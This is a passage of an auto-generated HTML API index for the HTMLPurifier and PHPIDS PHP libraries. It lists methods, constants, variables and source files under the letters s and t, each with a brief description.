href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html#methodset">HTMLPurifier_DefinitionCache_Decorator_Cleanup::set()</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodset">HTMLPurifier_DefinitionCache::set()</a> in DefinitionCache.php</div> - <div class="index-item-description">Unconditionally saves a definition object to the cache</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodset">HTMLPurifier_Config::set()</a> in Config.php</div> - <div class="index-item-description">Sets a value to configuration.</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#methodsetCache">IDS_Caching_Session::setCache()</a> in Session.php</div> - <div class="index-item-description">Writes cache data into the session</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Interface.html#methodsetCache">IDS_Caching_Interface::setCache()</a> in Interface.php</div> - <div class="index-item-description">Interface method</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#methodsetCache">IDS_Caching_Memcached::setCache()</a> in Memcached.php</div> - <div class="index-item-description">Writes cache data</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html#methodsetCache">IDS_Caching_File::setCache()</a> in File.php</div> - <div class="index-item-description">Writes cache data into the file</div> - </dd> - <dt class="field"> - <span class="method-title">setCache</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html#methodsetCache">IDS_Caching_Database::setCache()</a> in Database.php</div> - <div class="index-item-description">Writes cache data into the database</div> - </dd> - <dt class="field"> - <span class="method-title">setCentrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodsetCentrifuge">IDS_Report::setCentrifuge()</a> in Report.php</div> - <div class="index-item-description">This method sets the centrifuge property</div> - </dd> - <dt class="field"> - <span class="method-title">setConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodsetConfig">IDS_Init::setConfig()</a> in Init.php</div> - <div class="index-item-description">Merges new settings into the exsiting ones or overwrites them</div> - </dd> - <dt class="field"> - <span class="method-title">setConfigPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodsetConfigPath">IDS_Init::setConfigPath()</a> in Init.php</div> - <div class="index-item-description">Sets the path to the configuration file</div> - </dd> - <dt class="field"> - <span class="method-title">setExceptions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodsetExceptions">IDS_Monitor::setExceptions()</a> in Monitor.php</div> - <div class="index-item-description">Sets exception array</div> - </dd> - <dt class="field"> - <span class="method-title">setFilterSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodsetFilterSet">IDS_Filter_Storage::setFilterSet()</a> in Storage.php</div> - <div class="index-item-description">Sets the filter array</div> - </dd> - <dt class="field"> - <span class="method-title">setHtml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodsetHtml">IDS_Monitor::setHtml()</a> in Monitor.php</div> - <div class="index-item-description">Sets html array</div> - </dd> - <dt class="field"> - <span class="method-title">setJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodsetJson">IDS_Monitor::setJson()</a> in Monitor.php</div> - <div class="index-item-description">Sets json array</div> - </dd> - <dt class="field"> - <span class="method-title">setTextareaDimensions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#methodsetTextareaDimensions">HTMLPurifier_Printer_ConfigForm::setTextareaDimensions()</a> in ConfigForm.php</div> - <div class="index-item-description">Sets default column and row size for textareas in sub-printers</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_SafeObject.html#methodsetup">HTMLPurifier_HTMLModule_SafeObject::setup()</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodsetup">HTMLPurifier_HTMLModule::setup()</a> in HTMLModule.php</div> - <div class="index-item-description">Lazy load construction of the module after determining whether or not it's needed, and also when a finalized configuration object is available.</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Ruby.html#methodsetup">HTMLPurifier_HTMLModule_Ruby::setup()</a> in Ruby.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_SafeEmbed.html#methodsetup">HTMLPurifier_HTMLModule_SafeEmbed::setup()</a> in SafeEmbed.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Bdo.html#methodsetup">HTMLPurifier_HTMLModule_Bdo::setup()</a> in Bdo.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Definition.html#methodsetup">HTMLPurifier_Definition::setup()</a> in Definition.php</div> - <div class="index-item-description">Setup function that aborts if already setup</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Target.html#methodsetup">HTMLPurifier_HTMLModule_Target::setup()</a> in Target.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tables.html#methodsetup">HTMLPurifier_HTMLModule_Tables::setup()</a> in Tables.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Text.html#methodsetup">HTMLPurifier_HTMLModule_Text::setup()</a> in Text.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#methodsetup">HTMLPurifier_HTMLModule_Tidy::setup()</a> in Tidy.php</div> - <div class="index-item-description">Lazy load constructs the module by determining the necessary fixes to create and then delegating to the populate() function.</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Scripting.html#methodsetup">HTMLPurifier_HTMLModule_Scripting::setup()</a> in Scripting.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Proprietary.html#methodsetup">HTMLPurifier_HTMLModule_Proprietary::setup()</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#methodsetup">HTMLPurifier_DefinitionCacheFactory::setup()</a> in DefinitionCacheFactory.php</div> - <div class="index-item-description">Initialize default decorators</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Presentation.html#methodsetup">HTMLPurifier_HTMLModule_Presentation::setup()</a> in Presentation.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Legacy.html#methodsetup">HTMLPurifier_HTMLModule_Legacy::setup()</a> in Legacy.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Hypertext.html#methodsetup">HTMLPurifier_HTMLModule_Hypertext::setup()</a> in Hypertext.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_List.html#methodsetup">HTMLPurifier_HTMLModule_List::setup()</a> in List.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Object.html#methodsetup">HTMLPurifier_HTMLModule_Object::setup()</a> in Object.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Forms.html#methodsetup">HTMLPurifier_HTMLModule_Forms::setup()</a> in Forms.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityLookup.html#methodsetup">HTMLPurifier_EntityLookup::setup()</a> in EntityLookup.php</div> - <div class="index-item-description">Sets up the entity lookup table from the serialized file contents.</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Edit.html#methodsetup">HTMLPurifier_HTMLModule_Edit::setup()</a> in Edit.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Image.html#methodsetup">HTMLPurifier_HTMLModule_Image::setup()</a> in Image.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_StyleAttribute.html#methodsetup">HTMLPurifier_HTMLModule_StyleAttribute::setup()</a> in StyleAttribute.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Name.html#methodsetup">HTMLPurifier_HTMLModule_Name::setup()</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodsetup">HTMLPurifier_HTMLModuleManager::setup()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Performs processing on modules, after being called you may</div> - </dd> - <dt class="field"> - <span class="method-title">setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#methodsetup">HTMLPurifier_LanguageFactory::setup()</a> in LanguageFactory.php</div> - <div class="index-item-description">Sets up the singleton, much like a constructor</div> - </dd> - <dt class="field"> - <span class="method-title">setupConfigStuff</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodsetupConfigStuff">HTMLPurifier_HTMLDefinition::setupConfigStuff()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Sets up stuff based on config. We need a better way of doing this.</div> - </dd> - <dt class="field"> - <span class="method-title">setupConfigStuff</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html#methodsetupConfigStuff">HTMLPurifier_CSSDefinition::setupConfigStuff()</a> in CSSDefinition.php</div> - <div class="index-item-description">Performs extra config-based processing. Based off of HTMLPurifier_HTMLDefinition.</div> - </dd> - <dt class="field"> - <span class="method-title">setupFilters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methodsetupFilters">HTMLPurifier_URIDefinition::setupFilters()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">setupMemberVariables</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methodsetupMemberVariables">HTMLPurifier_URIDefinition::setupMemberVariables()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - SEVERITY - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#constSEVERITY">HTMLPurifier_ErrorCollector::SEVERITY</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - SPECIAL - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constSPECIAL">HTML5TreeConstructer::SPECIAL</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">specialEntityCallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#methodspecialEntityCallback">HTMLPurifier_EntityParser::specialEntityCallback()</a> in EntityParser.php</div> - <div class="index-item-description">Callback function for substituteSpecialEntities() that does the work.</div> - </dd> - <dt class="field"> - <span class="method-title">start</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodstart">HTMLPurifier_Printer::start()</a> in Printer.php</div> - <div class="index-item-description">Returns a start tag</div> - </dd> - <dt class="field"> - STARTTAG - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constSTARTTAG">HTML5::STARTTAG</a> in PH5P.php</div> - </dd> - <dt class="field"> - STRING - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constSTRING">HTMLPurifier_VarParser::STRING</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">styleCallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_ExtractStyleBlocks.html#methodstyleCallback">HTMLPurifier_Filter_ExtractStyleBlocks::styleCallback()</a> in ExtractStyleBlocks.php</div> - <div class="index-item-description">Save the contents of CSS blocks to style matches</div> - </dd> - <dt class="field"> - <span class="method-title">substituteNonSpecialEntities</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#methodsubstituteNonSpecialEntities">HTMLPurifier_EntityParser::substituteNonSpecialEntities()</a> in EntityParser.php</div> - <div class="index-item-description">Substitutes non-special entities with their parsed equivalents. Since running this whenever you have parsed character is t3h 5uck, we run it before everything else.</div> - </dd> - <dt class="field"> - <span class="method-title">substituteSpecialEntities</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#methodsubstituteSpecialEntities">HTMLPurifier_EntityParser::substituteSpecialEntities()</a> in EntityParser.php</div> - <div class="index-item-description">Substitutes only special entities with their parsed equivalents.</div> - </dd> - <dt class="field"> - <span class="method-title">substrCount</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html#methodsubstrCount">HTMLPurifier_Lexer_DirectLex::substrCount()</a> in DirectLex.php</div> - <div class="index-item-description">PHP 5.0.x compatible substr_count that implements offset and length</div> - </dd> - <dt class="field"> - <span class="include-title">Switch.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---Switch.php.html">Switch.php</a> in Switch.php</div> - </dd> - <dt class="field"> - <span class="include-title">SimpleCheck.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---URI---Email---SimpleCheck.php.html">SimpleCheck.php</a> in SimpleCheck.php</div> - </dd> - <dt class="field"> - <span class="include-title">SafeEmbed.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---SafeEmbed.php.html">SafeEmbed.php</a> in SafeEmbed.php</div> - </dd> - <dt class="field"> - <span class="include-title">SafeObject.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---SafeObject.php.html">SafeObject.php</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="include-title">SafeParam.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---SafeParam.php.html">SafeParam.php</a> in SafeParam.php</div> - </dd> - <dt class="field"> - <span class="include-title">ScriptRequired.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---ScriptRequired.php.html">ScriptRequired.php</a> in ScriptRequired.php</div> - </dd> - <dt class="field"> - <span class="include-title">StrictBlockquote.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---StrictBlockquote.php.html">StrictBlockquote.php</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="include-title">Serializer.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCache---Serializer.php.html">Serializer.php</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="include-title">SafeEmbed.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---SafeEmbed.php.html">SafeEmbed.php</a> in SafeEmbed.php</div> - </dd> - <dt class="field"> - <span class="include-title">SafeObject.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---SafeObject.php.html">SafeObject.php</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="include-title">Scripting.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Scripting.php.html">Scripting.php</a> in Scripting.php</div> - </dd> - <dt class="field"> - <span class="include-title">StyleAttribute.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---StyleAttribute.php.html">StyleAttribute.php</a> in StyleAttribute.php</div> - </dd> - <dt class="field"> - <span class="include-title">Strict.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy---Strict.php.html">Strict.php</a> in Strict.php</div> - </dd> - <dt class="field"> - <span class="include-title">SafeObject.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector---SafeObject.php.html">SafeObject.php</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="include-title">Strategy.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy.php.html">Strategy.php</a> in Strategy.php</div> - </dd> - <dt class="field"> - <span class="include-title">StringHash.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---StringHash.php.html">StringHash.php</a> in StringHash.php</div> - </dd> - <dt class="field"> - <span class="include-title">StringHashParser.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---StringHashParser.php.html">StringHashParser.php</a> in StringHashParser.php</div> - </dd> - <dt class="field"> - <span class="include-title">Simple.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---TagTransform---Simple.php.html">Simple.php</a> in Simple.php</div> - </dd> - <dt class="field"> - <span class="include-title">Start.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token---Start.php.html">Start.php</a> in Start.php</div> - </dd> - </dl> - <a name="t"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">t</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$t</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#var$t">HTMLPurifier_Strategy_MakeWellFormed::$t</a> in MakeWellFormed.php</div> - <div class="index-item-description">Current index in $tokens.</div> - </dd> - <dt class="field"> - <span class="var-title">$table</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityLookup.html#var$table">HTMLPurifier_EntityLookup::$table</a> in EntityLookup.php</div> - <div class="index-item-description">Assoc array of entity name to character represented.</div> - </dd> - <dt class="field"> - <span class="var-title">$tag</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Switch.html#var$tag">HTMLPurifier_AttrDef_Switch::$tag</a> in Switch.php</div> - </dd> - <dt class="field"> - <span class="var-title">$tags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$tags">IDS_Report::$tags</a> in Report.php</div> - <div class="index-item-description">List of affected tags</div> - </dd> - <dt class="field"> - <span class="var-title">$tags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$tags">IDS_Filter::$tags</a> in Filter.php</div> - <div class="index-item-description">List of tags of the filter</div> - </dd> - <dt class="field"> - <span class="var-title">$tags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$tags">IDS_Event::$tags</a> in Event.php</div> - <div class="index-item-description">Affecte tags</div> - </dd> - <dt class="field"> - <span class="var-title">$tidyModules</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$tidyModules">HTMLPurifier_Doctype::$tidyModules</a> in Doctype.php</div> - <div class="index-item-description">List of modules to use for tidying up code</div> - </dd> - <dt class="field"> - <span class="var-title">$tokens</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#var$tokens">HTMLPurifier_Strategy_MakeWellFormed::$tokens</a> in MakeWellFormed.php</div> - <div class="index-item-description">Array stream of tokens being processed.</div> - </dd> - <dt class="field"> - <span class="var-title">$tokens</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html#var$tokens">HTMLPurifier_Lexer_PEARSax3::$tokens</a> in PEARSax3.php</div> - <div class="index-item-description">Internal accumulator array for SAX parsers.</div> - </dd> - <dt class="field"> - <span class="var-title">$tracksLineNumbers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html#var$tracksLineNumbers">HTMLPurifier_Lexer_DirectLex::$tracksLineNumbers</a> in DirectLex.php</div> - </dd> - <dt class="field"> - <span class="var-title">$tracksLineNumbers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#var$tracksLineNumbers">HTMLPurifier_Lexer::$tracksLineNumbers</a> in Lexer.php</div> - <div class="index-item-description">Whether or not this lexer implements line-number/column-number tracking.</div> - </dd> - <dt class="field"> - <span class="var-title">$transform_to</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Font.html#var$transform_to">HTMLPurifier_TagTransform_Font::$transform_to</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="var-title">$transform_to</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform.html#var$transform_to">HTMLPurifier_TagTransform::$transform_to</a> in TagTransform.php</div> - <div class="index-item-description">Tag name to transform the tag to.</div> - </dd> - <dt class="field"> - <span class="var-title">$trusted</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$trusted">HTMLPurifier_HTMLModuleManager::$trusted</a> in HTMLModuleManager.php</div> - <div class="index-item-description">If set to true, unsafe elements and attributes will be allowed</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$type">HTMLPurifier_HTMLDefinition::$type</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Chameleon.html#var$type">HTMLPurifier_ChildDef_Chameleon::$type</a> in Chameleon.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef.html#var$type">HTMLPurifier_ChildDef::$type</a> in ChildDef.php</div> - <div class="index-item-description">Type of child definition, usually right-most part of class name lowercase.</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Required.html#var$type">HTMLPurifier_ChildDef_Required::$type</a> in Required.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$type">HTMLPurifier_URIDefinition::$type</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Table.html#var$type">HTMLPurifier_ChildDef_Table::$type</a> in Table.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#var$type">HTMLPurifier_ChildDef_StrictBlockquote::$type</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#var$type">HTMLPurifier_ErrorStruct::$type</a> in ErrorStruct.php</div> - <div class="index-item-description">Type of this struct.</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#var$type">HTMLPurifier_DefinitionCache::$type</a> in DefinitionCache.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Optional.html#var$type">HTMLPurifier_ChildDef_Optional::$type</a> in Optional.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$type">HTMLPurifier_ConfigSchema_Interchange_Directive::$type</a> in Directive.php</div> - <div class="index-item-description">String type, e.g. 'integer' or 'istring'.</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Definition.html#var$type">HTMLPurifier_Definition::$type</a> in Definition.php</div> - <div class="index-item-description">What type of definition is it?</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html#var$type">HTMLPurifier_ChildDef_Custom::$type</a> in Custom.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Empty.html#var$type">HTMLPurifier_ChildDef_Empty::$type</a> in Empty.php</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html#var$type">HTMLPurifier_ConfigDef_Directive::$type</a> in Directive.php</div> - <div class="index-item-description">Allowed type of the directive. Values are:</div> - </dd> - <dt class="field"> - <span class="var-title">$type</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html#var$type">HTMLPurifier_CSSDefinition::$type</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$typeAllowsNull</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$typeAllowsNull">HTMLPurifier_ConfigSchema_Interchange_Directive::$typeAllowsNull</a> in Directive.php</div> - <div class="index-item-description">Boolean whether or not null is allowed as a value.</div> - </dd> - <dt class="field"> - <span class="var-title">$types</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#var$types">HTMLPurifier_VarParser::$types</a> in VarParser.php</div> - <div class="index-item-description">Lookup table of allowed types. Mainly for backwards compatibility, but also convenient for transforming string type names to the integer constants.</div> - </dd> - <dt class="field"> - <span class="method-title">testEncodingSupportsASCII</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a 